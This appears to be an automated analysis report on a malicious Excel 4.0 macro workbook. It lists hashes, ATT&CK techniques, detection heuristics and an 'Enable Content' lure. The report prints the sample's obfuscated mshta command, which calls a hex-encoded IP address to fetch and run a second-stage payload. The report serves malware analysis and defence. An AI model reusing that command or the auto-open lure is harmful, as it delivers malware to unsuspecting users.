Office (OLE) / .XLS malware analysis — malicious · a238720656cacb00

MALICIOUS

Office (OLE) / .XLS

65.9 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: d06c6b5672819e56ffceee8f8408bb84 SHA-1: 5398cdcec66cda166a6a49c7b27cf765c29227eb SHA-256: a238720656cacb0032f3c4e86fdab369348188c61eb1a34e3bff679040bcb977

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro sheet (XLM) that contains an Auto_Open macro. The document body explicitly instructs the user to "Enable Editing" and "Enable Content" to view the content, which is a common lure. The extracted macro script defines a string "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html" and assigns it to the name "lll". This command likely downloads and executes a second-stage payload from the specified URL.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.